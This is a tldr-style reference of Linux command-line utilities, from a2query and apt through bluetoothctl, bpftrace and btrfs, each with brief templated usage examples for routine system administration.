• List enabled virtual hosts:

sudo a2query -s

• Display the currently enabled Multi Processing Module:

sudo a2query -M

• Display the Apache version:

sudo a2query -v
abbr
Manage abbreviations for the fish shell.

User-defined words are replaced with longer phrases after they are entered.

More information: https://fishshell.com/docs/current/cmds/abbr.html.

• Add a new abbreviation:

abbr --add {{abbreviation_name}} {{command}}


{{command_arguments}}

• Rename an existing abbreviation:

abbr --rename {{old_name}} {{new_name}}

• Erase an existing abbreviation:

abbr --erase {{abbreviation_name}}

• Import the abbreviations defined on another host over SSH:

ssh {{host_name}} abbr --show | source


ac
Print statistics on how long users have been connected.

More information: https://www.gnu.org/software/acct/manual/accounting.html#ac.

• Print how long the current user has been connected in hours:

ac

• Print how long users have been connected in hours:

ac --individual-totals

• Print how long a particular user has been connected in hours:

ac --individual-totals {{username}}

• Print how long a particular user has been connected in hours per day (with total):

ac --daily-totals --individual-totals {{username}}

• Also display additional details:

ac --compatibility
acpi
Shows battery status or thermal information.

More information: https://sourceforge.net/projects/acpiclient/files/acpiclient/.

• Show battery information:

acpi

• Show thermal information:

acpi -t

• Show cooling device information:

acpi -c

• Show thermal information in Fahrenheit:

acpi -tf

• Show all information:

acpi -V

• Extract information from /proc instead of /sys:

acpi -p
add-apt-repository
Manages apt repository definitions.

More information: https://manned.org/apt-add-repository.

• Add a new apt repository:

add-apt-repository {{repository_spec}}

• Remove an apt repository:

add-apt-repository --remove {{repository_spec}}

• Update the package cache after adding a repository:

add-apt-repository --update {{repository_spec}}

• Allow source packages to be downloaded from the repository:

add-apt-repository --enable-source {{repository_spec}}


addpart
Tells the Linux kernel about the existence of the specified partition.

The command is a simple wrapper around the add partition ioctl.

More information: https://manned.org/addpart.

• Tell the kernel about the existence of the specified partition:

addpart {{device}} {{partition}} {{start}} {{length}}


addr2line
Convert addresses of a binary into file names and line numbers.

More information: https://manned.org/addr2line.

• Display the filename and line number of the source code from an instruction
address of an executable:

addr2line --exe={{path/to/executable}} {{address}}

• Display the function name, filename and line number:

addr2line --exe={{path/to/executable}} --functions


{{address}}

• Demangle the function name for C++ code:

addr2line --exe={{path/to/executable}} --functions --demangle


{{address}}
adduser
User addition utility.

More information: https://manpages.debian.org/latest/adduser/adduser.html.

• Create a new user with a default home directory and prompt the user to set a
password:

adduser {{username}}

• Create a new user without a home directory:

adduser --no-create-home {{username}}

• Create a new user with a home directory at the specified path:

adduser --home {{path/to/home}} {{username}}

• Create a new user with the specified shell set as the login shell:

adduser --shell {{path/to/shell}} {{username}}

• Create a new user belonging to the specified group:

adduser --ingroup {{group}} {{username}}

• Add an existing user to the specified group:

adduser {{username}} {{group}}


alien
Convert different installation packages to other formats.

More information: https://manned.org/alien.

• Convert a specific installation file to Debian format (.deb extension):

sudo alien --to-deb {{path/to/file}}

• Convert a specific installation file to Red Hat format (.rpm extension):

sudo alien --to-rpm {{path/to/file}}

• Convert a specific installation file to a Slackware installation file (.tgz


extension):

sudo alien --to-tgz {{path/to/file}}

• Convert a specific installation file to Debian format and install on the system:

sudo alien --to-deb --install {{path/to/file}}


alpine
An email client and Usenet newsgroup program with a pico/nano-inspired interface.

Supports most modern email services through IMAP.

• Open alpine normally:

alpine

• Open alpine directly to the message composition screen to send an email to a


given email address:

alpine {{email@example.net}}

• Quit alpine:

'q' then 'y'


amixer
Mixer for ALSA soundcard driver.

More information: https://manned.org/amixer.

• Turn up the master volume by 10%:

amixer -D pulse sset Master {{10%+}}

• Turn down the master volume by 10%:

amixer -D pulse sset Master {{10%-}}


anbox
Run Android applications on any GNU/Linux operating system.

More information: https://manned.org/anbox.

• Launch Anbox into the app manager:

anbox launch --package={{org.anbox.appmgr}} --


component={{org.anbox.appmgr.AppViewActivity}}
apache2ctl
The CLI tool to administrate HTTP web server Apache.

This command comes with Debian based OSes, for RHEL based ones see httpd.

More information: https://manpages.debian.org/latest/apache2/apache2ctl.8.en.html.

• Start the Apache daemon. Throw a message if it is already running:

sudo apache2ctl start

• Stop the Apache daemon:

sudo apache2ctl stop

• Restart the Apache daemon:

sudo apache2ctl restart

• Test syntax of the configuration file:

sudo apache2ctl -t

• List loaded modules:

sudo apache2ctl -M
apk
Alpine Linux package management tool.

More information: https://wiki.alpinelinux.org/wiki/


Alpine_Linux_package_management.

• Update repository indexes from all remote repositories:

apk update

• Install a new package:

apk add {{package}}

• Remove a package:

apk del {{package}}

• Repair package or upgrade it without modifying main dependencies:

apk fix {{package}}

• Search package via keyword:

apk search {{keyword}}

• Get info about a specific package:

apk info {{package}}


aplay
Command-line sound player for ALSA soundcard driver.

More information: https://manned.org/aplay.

• Play a specific file (sampling rate, bit depth, etc. will be automatically determined
for the file format):

aplay {{path/to/file}}

• Play the first 10 seconds of a specific file at 2500 Hz:

aplay --duration={{10}} --rate={{2500}} {{path/to/file}}

• Play the raw file as a 22050 Hz, mono, 8-bit, Mu-Law .au file:

aplay --channels={{1}} --file-type {{raw}} --rate={{22050}}


--format={{mu_law}} {{path/to/file}}
apport-bug
File a bug report on Ubuntu.

More information: https://wiki.ubuntu.com/Apport.

• Report a bug about the whole system:

apport-bug

• Report a bug about a specific package:

apport-bug {{package}}

• Report a bug about a specific executable:

apport-bug {{path/to/executable}}

• Report a bug about a specific process:

apport-bug {{PID}}
apt-add-repository
Manages apt repository definitions.

More information: https://manpages.debian.org/latest/software-properties-common/


apt-add-repository.1.html.

• Add a new apt repository:

apt-add-repository {{repository_spec}}

• Remove an apt repository:

apt-add-repository --remove {{repository_spec}}

• Update the package cache after adding a repository:

apt-add-repository --update {{repository_spec}}

• Enable source packages:

apt-add-repository --enable-source {{repository_spec}}


apt-cache
Debian and Ubuntu package query tool.

More information: https://manpages.debian.org/latest/apt/apt-cache.8.html.

• Search for a package in your current sources:

apt-cache search {{query}}

• Show information about a package:

apt-cache show {{package}}

• Show whether a package is installed and up to date:

apt-cache policy {{package}}

• Show dependencies for a package:

apt-cache depends {{package}}

• Show packages that depend on a particular package:

apt-cache rdepends {{package}}


apt-file
Search for files in apt packages, including ones not yet installed.

More information: https://manpages.debian.org/latest/apt-file/apt-file.1.html.

• Update the metadata database:

sudo apt update

• Search for packages that contain the specified file or path:

apt-file {{search|find}} {{part/of/filename}}

• List the contents of a specific package:

apt-file {{show|list}} {{package_name}}

• Search for packages that match the regular expression given in pattern:

apt-file {{search|find}} --regexp {{regular_expression}}


apt-get
Debian and Ubuntu package management utility.

Search for packages using apt-cache.

More information: https://manpages.debian.org/latest/apt/apt-get.8.html.

• Update the list of available packages and versions (it's recommended to run this
before other apt-get commands):

apt-get update

• Install a package, or update it to the latest available version:

apt-get install {{package}}

• Remove a package:

apt-get remove {{package}}

• Remove a package and its configuration files:

apt-get purge {{package}}

• Upgrade all installed packages to their newest available versions:

apt-get upgrade

• Clean the local repository - removing package files (.deb) from interrupted
downloads that can no longer be downloaded:

apt-get autoclean

• Remove all packages that are no longer needed:

apt-get autoremove

• Upgrade installed packages (like upgrade), but remove obsolete packages and
install additional packages to meet new dependencies:

apt-get dist-upgrade
apt-key
Key management utility for the APT Package Manager on Debian and Ubuntu.

Note: apt-key is now deprecated (except for the use of apt-key del in maintainer
scripts).

More information: https://manpages.debian.org/latest/apt/apt-key.8.html.

• List trusted keys:

apt-key list

• Add a key to the trusted keystore:

apt-key add {{public_key_file.asc}}

• Delete a key from the trusted keystore:

apt-key del {{key_id}}

• Add a remote key to the trusted keystore:

wget -qO - {{https://host.tld/filename.key}} | apt-key add -

• Add a key from keyserver with only key id:

apt-key adv --keyserver {{pgp.mit.edu}} --recv {{KEYID}}


apt-mark
Utility to change the status of installed packages.

More information: https://manpages.debian.org/latest/apt/apt-mark.8.html.

• Mark a package as automatically installed:

sudo apt-mark auto {{package_name}}

• Hold a package at its current version and prevent updates to it:

sudo apt-mark hold {{package_name}}

• Allow a package to be updated again:

sudo apt-mark unhold {{package_name}}

• Show manually installed packages:

apt-mark showmanual

• Show held packages that aren't being updated:

apt-mark showhold
apt moo
An APT easter egg.

More information: https://manpages.debian.org/latest/apt/apt.8.html.

• Print a cow easter egg:

apt moo
apt
Package management utility for Debian based distributions.

Recommended replacement for apt-get when used interactively in Ubuntu versions


16.04 and later.

More information: https://manpages.debian.org/latest/apt/apt.8.html.

• Update the list of available packages and versions (it's recommended to run this
before other apt commands):

sudo apt update

• Search for a given package:

apt search {{package}}

• Show information for a package:

apt show {{package}}

• Install a package, or update it to the latest available version:

sudo apt install {{package}}

• Remove a package (using purge instead also removes its configuration files):

sudo apt remove {{package}}

• Upgrade all installed packages to their newest available versions:

sudo apt upgrade

• List all packages:

apt list

• List installed packages:

apt list --installed


aptitude
Debian and Ubuntu package management utility.

More information: https://manpages.debian.org/latest/aptitude/aptitude.8.html.

• Synchronize list of packages and versions available. This should be run first, before
running subsequent aptitude commands:

aptitude update

• Install a new package and its dependencies:

aptitude install {{package}}

• Search for a package:

aptitude search {{package}}

• Search for an installed package (?installed is an aptitude search term):

aptitude search '?installed({{package}})'

• Remove a package and all packages depending on it:

aptitude remove {{package}}

• Upgrade installed packages to the newest available versions:

aptitude upgrade

• Upgrade installed packages (like aptitude upgrade) including removing


obsolete packages and installing additional packages to meet new package
dependencies:

aptitude full-upgrade

• Put an installed package on hold to prevent it from being automatically upgraded:

aptitude hold '?installed({{package}})'


arch-chroot
Enhanced chroot command to help in the Arch Linux installation process.

More information: https://man.archlinux.org/man/arch-chroot.8.

• Start an interactive shell (bash, by default) in a new root directory:

arch-chroot {{path/to/new/root}}

• Specify the user (other than the current user) to run the shell as:

arch-chroot -u {{user}} {{path/to/new/root}}

• Run a custom command (instead of the default bash) in the new root directory:

arch-chroot {{path/to/new/root}} {{command}}


{{command_arguments}}

• Specify the shell, other than the default bash (in this case, the zsh package
should have been installed in the target system):

arch-chroot {{path/to/new/root}} {{zsh}}


archey
Simple tool for stylishly displaying system information.

More information: https://lclarkmichalek.github.io/archey3/.

• Show system information:

archey
archinstall
Guided Arch Linux installer with a twist.

More information: https://archinstall.readthedocs.io.

• Start the interactive installer:

archinstall

• Start a preset installer:

archinstall {{minimal|unattended}}
archlinux-java
A helper script that provides functionalities for Java environments.

More information: https://github.com/michaellass/archlinux-java-run.

• List installed Java environments:

archlinux-java status

• Set the default Java environment:

archlinux-java set {{java_environment}}

• Unset the default Java environment:

archlinux-java unset

• Set the default Java environment automatically:

archlinux-java fix
arecord
Sound recorder for ALSA soundcard driver.

More information: https://manned.org/arecord.

• Record a snippet in "CD" quality (finish with Ctrl-C when done):

arecord -vv --format=cd {{path/to/file.wav}}

• Record a snippet in "CD" quality, with a fixed duration of 10 seconds:

arecord -vv --format=cd --duration={{10}} {{path/to/


file.wav}}

• Record a snippet and save it as an MP3 (finish with Ctrl-C when done):

arecord -vv --format=cd --file-type raw | lame -r - {{path/


to/file.mp3}}

• List all sound cards and digital audio devices:

arecord --list-devices

• Allow interactive interface (e.g. use space-bar or enter to play or pause):

arecord --interactive
arithmetic
Quiz on simple arithmetic problems.

More information: https://manpages.debian.org/bsdgames/arithmetic.6.en.html.

• Start an arithmetic quiz:

arithmetic

• Specify one or more arithmetic [o]peration symbols to get problems on them:

arithmetic -o {{+|-|x|/}}

• Specify a range. Addition and multiplication problems would feature numbers


between 0 and range, inclusive. Subtraction and division problems would have
required result and number to be operated on, between 0 and range:

arithmetic -r {{7}}
ark
KDE archiving tool.

More information: https://docs.kde.org/stable5/en/ark/ark/.

• Extract an archive into the current directory:

ark --batch {{archive}}

• Change extraction directory:

ark --batch --destination {{path/to/directory}} {{archive}}

• Create an archive if it does not exist and add files to it:

ark --add-to {{archive}} {{file1}} {{file2}}


as
Portable GNU assembler.

Primarily intended to assemble output from gcc to be used by ld.

More information: https://manned.org/as.

• Assemble a file, writing the output to a.out:

as {{file.s}}

• Assemble the output to a given file:

as {{file.s}} -o {{out.o}}

• Generate output faster by skipping whitespace and comment preprocessing.


(Should only be used for trusted compilers):

as -f {{file.s}}

• Include a given path to the list of directories to search for files specified in
.include directives:

as -I {{path/to/directory}} {{file.s}}
ascii
Show ASCII character aliases.

More information: http://www.catb.org/~esr/ascii/.

• Show ASCII aliases of a character:

ascii {{a}}

• Show ASCII aliases in short, script-friendly mode:

ascii -t {{a}}

• Show ASCII aliases of multiple characters:

ascii -s {{tldr}}

• Show ASCII table in decimal:

ascii -d

• Show ASCII table in hexadecimal:

ascii -x

• Show ASCII table in octal:

ascii -o

• Show ASCII table in binary:

ascii -b

• Show options summary and complete ASCII table:

ascii
asciiart
Convert images to ASCII.

More information: https://github.com/nodanaonlyzuul/asciiart.

• Read an image from a file and print in ASCII:

asciiart {{path/to/image.jpg}}

• Read an image from a URL and print in ASCII:

asciiart {{www.example.com/image.jpg}}

• Choose the output width (default is 100):

asciiart --width {{50}} {{path/to/image.jpg}}

• Colorize the ASCII output:

asciiart --color {{path/to/image.jpg}}

• Choose the output format (default format is text):

asciiart --format {{text|html}} {{path/to/image.jpg}}

• Invert the character map:

asciiart --invert-chars {{path/to/image.jpg}}


aspell
Interactive spell checker.

More information: http://aspell.net/.

• Spell check a single file:

aspell check {{path/to/file}}

• List misspelled words from standard input:

cat {{file}} | aspell list

• Show available dictionary languages:

aspell dicts

• Run aspell with a different language (takes two-letter ISO 639 language code):

aspell --lang={{cs}}

• List misspelled words from standard input and ignore words from personal word
list:

cat {{file}} | aspell --personal={{personal-word-list.pws}}


{{list}}
asterisk
Telephone and exchange (phone) server.

Used for running the server itself, and managing an already running instance.

More information: https://wiki.asterisk.org/wiki/display/AST/Home.

• [R]econnect to a running server, and turn on logging 3 levels of [v]erbosity:

asterisk -r -vvv

• [R]econnect to a running server, run a single command, and return:

asterisk -r -x "{{command}}"

• Show chan_SIP clients (phones):

asterisk -r -x "sip show peers"

• Show active calls and channels:

asterisk -r -x "core show channels"

• Show voicemail mailboxes:

asterisk -r -x "voicemail show users"

• Terminate a channel:

asterisk -r -x "hangup request {{channel_ID}}"

• Reload chan_SIP configuration:

asterisk -r -x "sip reload"


at
Executes commands at a specified time.

More information: https://man.archlinux.org/man/at.1.

• Open an at prompt to create a new set of scheduled commands, press Ctrl + D


to save and exit:

at {{hh:mm}}

• Execute the commands and email the result using a local mailing program such as
Sendmail:

at {{hh:mm}} -m

• Execute a script at the given time:

at {{hh:mm}} -f {{path/to/file}}

• Display a system notification at 11pm on February 18th:

echo "notify-send '{{Wake up!}}'" | at {{11pm}} {{Feb 18}}


atool
Manage archives of various formats.

More information: https://www.nongnu.org/atool/.

• List files in a zip archive:

atool --list {{path/to/archive.zip}}

• Unpack a tar.gz archive into a new subdirectory (or current directory if it contains
only one file):

atool --extract {{path/to/archive.tar.gz}}

• Create a new 7zip archive with two files:

atool --add {{path/to/archive.7z}} {{path/to/file1}} {{path/


to/file2}}

• Extract all zip and rar archives in the current directory:

atool --each --extract {{*.zip}} {{*.rar}}


aura
The Aura Package Manager: A secure, multilingual package manager for Arch Linux and
the AUR.

More information: https://github.com/fosskers/aura.

• Search for packages from the official repositories and AUR:

aura --aursync --both --search {{package_name|search_regex}}

• Install a package from the AUR:

aura --aursync {{package_name}}

• Update all AUR packages in a verbose mode and remove all make dependencies:

aura --aursync --diff --sysupgrade --delmakedeps --unsuppress

• Install a package from the official repositories:

aura --sync {{package_name}}

• Synchronize and update all packages from the official repositories:

aura --sync --refresh --sysupgrade

• Downgrade a package using the package cache:

aura --downgrade {{package_name}}

• Remove a package and its dependencies:

aura --remove --recursive --unneeded {{package_name}}

• Remove orphan packages (installed as dependencies but not required by any


package):

aura --orphans --abandon


auracle
Command-line tool used to interact with Arch Linux's User Repository, commonly
referred to as the AUR.

More information: https://github.com/falconindy/auracle.

• Display AUR packages that match a regular expression:

auracle search '{{regular_expression}}'

• Display package information for a space-separated list of AUR packages:

auracle info {{package1}} {{package2}}

• Display the PKGBUILD file (build information) for a space-separated list of AUR
packages:

auracle show {{package1}} {{package2}}

• Display updates for installed AUR packages:

auracle outdated
aurman
An Arch Linux utility to build and install packages from the Arch User Repository.

See also pacman.

More information: https://github.com/polygamma/aurman.

• Synchronize and update all packages:

aurman --sync --refresh --sysupgrade

• Synchronize and update all packages without show changes of PKGBUILD files:

aurman --sync --refresh --sysupgrade --noedit

• Install a new package:

aurman --sync {{package_name}}

• Install a new package without show changes of PKGBUILD files:

aurman --sync --noedit {{package_name}}

• Install a new package without prompting:

aurman --sync --noedit --noconfirm {{package_name}}

• Search the package database for a keyword from the official repositories and AUR:

aurman --sync --search {{keyword}}

• Remove a package and its dependencies:

aurman --remove --recursive --nosave {{package_name}}

• Clear the package cache (use two --clean flags to clean all packages):

aurman --sync --clean


aurvote
Vote for packages in the Arch User Repository.

To be able to vote, the file ~/.config/aurvote must exist and contain your AUR
credentials.

More information: https://github.com/archlinuxfr/aurvote.

• Interactively create the file ~/.config/aurvote containing your AUR username


and password:

aurvote --configure

• Vote for one or more AUR packages:

aurvote {{package1 package2 ...}}

• Unvote one or more AUR packages:

aurvote --unvote {{package1 package2 ...}}

• Check if one or more AUR packages have already been voted:

aurvote --check {{package1 package2 ...}}

• Show help for aurvote:

aurvote --help
authconfig
A CLI interface for configuring system authentication resources.

More information: https://access.redhat.com/documentation/en-us/


red_hat_enterprise_linux/7/html/system-level_authentication_guide/authconfig-install.

• Display the current configuration (or dry run):

authconfig --test

• Configure the server to use a different password hashing algorithm:

authconfig --update --passalgo={{algorithm}}

• Enable LDAP authentication:

authconfig --update --enableldapauth

• Disable LDAP authentication:

authconfig --update --disableldapauth

• Enable Network Information Service (NIS):

authconfig --update --enablenis

• Enable Kerberos:

authconfig --update --enablekrb5

• Enable Winbind (Active Directory) authentication:

authconfig --update --enablewinbindauth

• Enable local authorization:

authconfig --update --enablelocauthorize


autopkgtest
Run tests on Debian packages.

More information: https://wiki.debian.org/ContinuousIntegration/autopkgtest.

• Build the package in the current directory and run all tests directly on the system:

autopkgtest -- {{null}}

• Run a specific test for the package in the current directory:

autopkgtest --test-name={{test_name}} -- {{null}}

• Download and build a specific package with apt-get, then run all tests:

autopkgtest {{package}} -- {{null}}

• Test the package in the current directory using a new root directory:

autopkgtest -- {{chroot}} {{path/to/new/root}}

• Test the package in the current directory without rebuilding it:

autopkgtest --no-built-binaries -- {{null}}


autorandr
Automatically change screen layout.

More information: https://github.com/phillipberndt/autorandr.

• Save the current screen layout:

autorandr -s {{profile_name}}

• Show the saved profiles:

autorandr

• Change the profile:

autorandr -l {{profile_name}}

• Set the default profile:

autorandr -d {{profile_name}}
avahi-browse
Displays services and hosts exposed on the local network via mDNS/DNS-SD.

Avahi is compatible with Bonjour (Zeroconf) found in Apple devices.

More information: https://www.avahi.org/.

• List all services available on the local network along with their addresses and ports
while ignoring local ones:

avahi-browse --all --resolve --ignore-local

• List all domains:

avahi-browse --browse-domains

• Limit the search to a particular domain:

avahi-browse --all --domain={{domain}}


avifenc
AV1 Image File Format (AVIF) encoder.

More information: https://aomediacodec.github.io/av1-avif/.

• Convert a specific PNG image to AVIF:

avifenc {{path/to/image.png}} {{path/to/image.avif}}

• Encode with a specific speed, where 0=slowest, 10=fastest, and 6=default:

avifenc --speed {{2}} {{path/to/image.png}} {{path/to/


image.avif}}
balooctl
File indexing and searching framework for KDE Plasma.

More information: https://wiki.archlinux.org/index.php/Baloo.

• Display help:

balooctl

• Display the status of the indexer:

balooctl status

• Enable/Disable the file indexer:

balooctl {{enable|disable}}

• Clean the index database:

balooctl purge

• Suspend the file indexer:

balooctl suspend

• Resume the file indexer:

balooctl resume

• Display the disk space used by Baloo:

balooctl indexSize

• Check for any unindexed files and index them:

balooctl check
beep
A utility to beep the PC speaker.

More information: https://github.com/spkr-beep/beep.

• Play a beep:

beep

• Play a beep that repeats:

beep -r {{repetitions}}

• Play a beep at a specified frequency (Hz) and duration (milliseconds):

beep -f {{frequency}} -l {{duration}}

• Play each new frequency and duration as a distinct beep:

beep -f {{frequency}} -l {{duration}} -n -f {{frequency}} -l


{{duration}}

• Play the C major scale:

beep -f {{262}} -n -f {{294}} -n -f {{330}} -n -f {{349}} -n


-f {{392}} -n -f {{440}} -n -f {{494}} -n -f {{523}}
betterlockscreen
Simple, minimal lock screen.

More information: https://github.com/pavanjadhaw/betterlockscreen.

• Lock the screen:

betterlockscreen --lock

• Change the lock screen background:

betterlockscreen -u {{path/to/image.png}}

• Lock the screen, showing some custom text:

betterlockscreen -l pixel -t "{{custom lock screen text}}"

• Lock the screen, with a custom monitor off timeout in seconds:

betterlockscreen --off {{5}} -l


binwalk
Firmware Analysis Tool.

More information: https://github.com/ReFirmLabs/binwalk.

• Scan a binary file:

binwalk {{path/to/binary}}

• Extract files from a binary, specifying the output directory:

binwalk --extract --directory {{output_directory}} {{path/to/


binary}}

• Recursively extract files from a binary limiting the recursion depth to 2:

binwalk --extract --matryoshka --depth {{2}} {{path/to/


binary}}

• Extract files from a binary with the specified file signature:

binwalk --dd '{{png image:png}}' {{path/to/binary}}

• Analyze the entropy of a binary, saving the plot with the same name as the binary
and .png extension appended:

binwalk --entropy --save {{path/to/binary}}

• Combine entropy, signature and opcodes analysis in a single command:

binwalk --entropy --signature --opcodes {{path/to/binary}}


bitwise
Multi base interactive calculator supporting dynamic base conversion and bit
manipulation.

More information: https://github.com/mellowcandle/bitwise.

• Run using interactive mode:

bitwise

• Convert from decimal:

bitwise {{12345}}

• Convert from hexadecimal:

bitwise {{0x563d}}

• Convert a C-style calculation:

bitwise "{{0x123 + 0x20 - 30 / 50}}"


blkdiscard
Discards device sectors on storage devices. Useful for SSDs.

More information: https://manned.org/blkdiscard.

• Discard all sectors on a device, removing all data:

blkdiscard /dev/{{device}}

• Securely discard all blocks on a device, removing all data:

blkdiscard --secure /dev/{{device}}

• Discard the first 100 MB of a device:

blkdiscard --length {{100MB}} /dev/{{device}}


blkid
Lists all recognized partitions and their Universally Unique Identifier (UUID).

More information: https://manned.org/blkid.

• List all partitions:

sudo blkid

• List all partitions in a table, including current mountpoints:

sudo blkid -o list


bluetoothctl
Manage Bluetooth devices from the command-line.

More information: https://www.npmjs.com/package/bluetoothctl.

• Enter the bluetoothctl shell:

bluetoothctl

• List all known devices:

bluetoothctl devices

• Power the Bluetooth controller on or off:

bluetoothctl power {{on|off}}

• Pair with a device:

bluetoothctl pair {{mac_address}}

• Remove a device:

bluetoothctl remove {{mac_address}}

• Connect to a paired device:

bluetoothctl connect {{mac_address}}

• Disconnect from a paired device:

bluetoothctl disconnect {{mac_address}}

• Display help:

bluetoothctl help
bluetoothd
Daemon to manage bluetooth devices.

More information: https://manned.org/bluetoothd.

• Start the daemon:

bluetoothd

• Start the daemon, logging to stdout:

bluetoothd --nodetach

• Start the daemon with a specific configuration file (defaults to /etc/


bluetooth/main.conf):

bluetoothd --configfile {{path/to/file}}

• Start the daemon with verbose output to stderr:

bluetoothd --debug

• Start the daemon with verbose output coming from specific files in the bluetoothd
or plugins source:

bluetoothd --debug={{path/to/file1}}:{{path/to/file2}}:
{{path/to/file3}}
blurlock
A simple wrapper around the i3 screen locker i3lock, which blurs the screen.

See also: i3lock.

More information: https://gitlab.manjaro.org/packages/community/i3/i3exit/-/blob/


master/blurlock.

• Lock the screen to a blurred screenshot of the current screen:

blurlock

• Lock the screen and disable the unlock indicator (removes feedback on keypress):

blurlock --no-unlock-indicator

• Lock the screen and don't hide the mouse pointer:

blurlock --pointer {{default}}

• Lock the screen and show the number of failed login attempts:

blurlock --show-failed-attempts
bmon
Monitor bandwidth and capture network related statistics.

More information: https://github.com/tgraf/bmon.

• Display the list of all the interfaces:

bmon -a

• Display data transfer rates in bits per second:

bmon -b

• Set policy to define which network interface(s) is/are displayed:

bmon -p {{interface_1,interface_2,interface_3}}

• Set interval (in seconds) in which rate per counter is calculated:

bmon -R {{2.0}}
boltctl
Control thunderbolt devices.

More information: https://manned.org/boltctl.

• List connected (and authorized) devices:

boltctl

• List connected devices, including unauthorized ones:

boltctl list

• Authorize a device temporarily:

boltctl authorize {{device_uuid}}

• Authorize and remember a device:

boltctl enroll {{device_uuid}}

• Revoke a previously authorized device:

boltctl forget {{device_uuid}}

• Show more information about a device:

boltctl info {{device_uuid}}


bpftool
Tool for inspection and simple manipulation of eBPF programs and maps.

Some subcommands such as bpftool prog have their own usage documentation.

More information: https://manned.org/bpftool.

• List information about loaded eBPF programs:

bpftool prog list

• List eBPF program attachments in the kernel networking subsystem:

bpftool net list

• List all active links:

bpftool link list

• List all raw_tracepoint, tracepoint, kprobe attachments in the system:

bpftool perf list

• List BPF Type Format (BTF) data:

bpftool btf list

• List information about loaded maps:

bpftool map list

• Probe a network device "eth0" for supported eBPF features:

bpftool feature probe dev {{eth0}}

• Run commands in batch mode from a file:

bpftool batch file {{myfile}}


bpftrace
High-level tracing language for Linux eBPF.

More information: https://github.com/iovisor/bpftrace.

• Display bpftrace version:

bpftrace -V

• List all available probes:

sudo bpftrace -l

• Run a one-liner program (e.g. syscall count by program):

sudo bpftrace -e '{{tracepoint:raw_syscalls:sys_enter {


@[comm] = count(); }}}'

• Run a program from a file:

sudo bpftrace {{path/to/file}}

• Trace a program by PID:

sudo bpftrace -e '{{tracepoint:raw_syscalls:sys_enter /pid ==


123/ { @[comm] = count(); }}}'

• Do a dry run and display the output in eBPF format:

sudo bpftrace -d -e '{{one_line_program}}'


bpytop
Display dynamic real-time information about running processes with graphs. Similar to
gtop and htop.

More information: https://github.com/aristocratos/bpytop.

• Start bpytop:

bpytop

• Start in minimal mode without memory and networking boxes:

bpytop -m

• Show version:

bpytop -v

• Toggle minimal mode:

• Search for running programs or processes:

• Change settings:

M
brctl
Ethernet bridge administration.

More information: https://manned.org/brctl.

• Show a list with information about currently existing Ethernet bridges:

sudo brctl show

• Create a new Ethernet bridge interface:

sudo brctl add {{bridge_name}}

• Delete an existing Ethernet bridge interface:

sudo brctl del {{bridge_name}}

• Add an interface to an existing bridge:

sudo brctl addif {{bridge_name}} {{interface_name}}

• Remove an interface from an existing bridge:

sudo brctl delif {{bridge_name}} {{interface_name}}


brightnessctl
Utility for reading and controlling device brightness for GNU/Linux operating systems.

More information: https://github.com/Hummer12007/brightnessctl.

• List devices with changeable brightness:

brightnessctl --list

• Print the current brightness of the display backlight:

brightnessctl get

• Set the brightness of the display backlight to a specified percentage within range:

brightnessctl set {{50%}}

• Increase brightness by a specified increment:

brightnessctl set {{+10%}}

• Decrease brightness by a specified decrement:

brightnessctl set {{-10%}}


bspc
A tool to control bspwm.

More information: https://github.com/baskerville/bspwm.

• Define two virtual desktop:

bspc monitor --reset-desktops {{1}} {{2}}

• Focus the given desktop:

bspc desktop --focus {{number}}

• Close the windows rooted at the selected node:

bspc node --close

• Send the selected node to the given desktop:

bspc node --to-desktop {{number}}

• Toggle full screen mode for the selected node:

bspc node --state ~fullscreen


bspwm
A tiling window manager based on binary space partitioning.

More information: https://github.com/baskerville/bspwm.

• Start bspwm (note that a pre-existing window manager must not be open when
this command is run):

bspwm -c {{path/to/config}}

• View documentation for bspc:

tldr bspc
btrfs balance
Balance block groups on a btrfs filesystem.

More information: https://btrfs.wiki.kernel.org/index.php/Manpage/btrfs-balance.

• Show the status of a running or paused balance operation:

sudo btrfs balance status {{path/to/btrfs_filesystem}}

• Balance all block groups (slow; rewrites all blocks in filesystem):

sudo btrfs balance start {{path/to/btrfs_filesystem}}

• Balance data block groups which are less than 15% utilized, running the operation
in the background:

sudo btrfs balance start --bg -dusage={{15}} {{path/to/


btrfs_filesystem}}

• Balance a max of 10 metadata chunks with less than 20% utilization and at least 1
chunk on a given device devid (see btrfs filesystem show):

sudo btrfs balance start -


musage={{20}},limit={{10}},devid={{devid}} {{path/to/
btrfs_filesystem}}

• Convert data blocks to the raid6 and metadata to raid1c3 (see mkfs.btrfs(8) for
profiles):

sudo btrfs balance start -dconvert={{raid6}} -


mconvert={{raid1c3}} {{path/to/btrfs_filesystem}}

• Convert data blocks to raid1, skipping already converted chunks (e.g. after a
previous cancelled conversion operation):

sudo btrfs balance start -dconvert={{raid1}},soft {{path/to/


btrfs_filesystem}}

• Cancel, pause, or resume a running or paused balance operation:

sudo btrfs balance {{cancel|pause|resume}} {{path/to/


btrfs_filesystem}}
btrfs check
Check or repair a btrfs filesystem.

More information: https://btrfs.wiki.kernel.org/index.php/Manpage/btrfs-check.

• Check a btrfs filesystem:

sudo btrfs check {{path/to/partition}}

• Check and repair a btrfs filesystem (dangerous):

sudo btrfs check --repair {{path/to/partition}}

• Show the progress of the check:

sudo btrfs check --progress {{path/to/partition}}

• Verify the checksum of each data block (if the filesystem is good):

sudo btrfs check --check-data-csum {{path/to/partition}}

• Use the n-th superblock (n can be 0, 1 or 2):

sudo btrfs check --super {{n}} {{path/to/partition}}

• Rebuild the checksum tree:

sudo btrfs check --repair --init-csum-tree {{path/to/


partition}}

• Rebuild the extent tree:

sudo btrfs check --repair --init-extent-tree {{path/to/


partition}}
btrfs device
Manage devices in a btrfs filesystem.

More information: https://btrfs.wiki.kernel.org/index.php/Manpage/btrfs-device.

• Add one or more devices to a btrfs filesystem:

sudo btrfs device add {{path/to/block_device1}} [{{path/to/


block_device2}}] {{path/to/btrfs_filesystem}}

• Remove a device from a btrfs filesystem:

sudo btrfs device remove {{path/to/device|device_id}}


[{{...}}]

• Display error statistics:

sudo btrfs device stats {{path/to/btrfs_filesystem}}

• Scan all disks and inform the kernel of all detected btrfs filesystems:

sudo btrfs device scan --all-devices

• Display detailed per-disk allocation statistics:

sudo btrfs device usage {{path/to/btrfs_filesystem}}


btrfs filesystem
Manage btrfs filesystems.

More information: https://btrfs.wiki.kernel.org/index.php/Manpage/btrfs-filesystem.

• Show filesystem usage (optionally run as root to show detailed information):

btrfs filesystem usage {{path/to/btrfs_mount}}

• Show usage by individual devices:

sudo btrfs filesystem show {{path/to/btrfs_mount}}

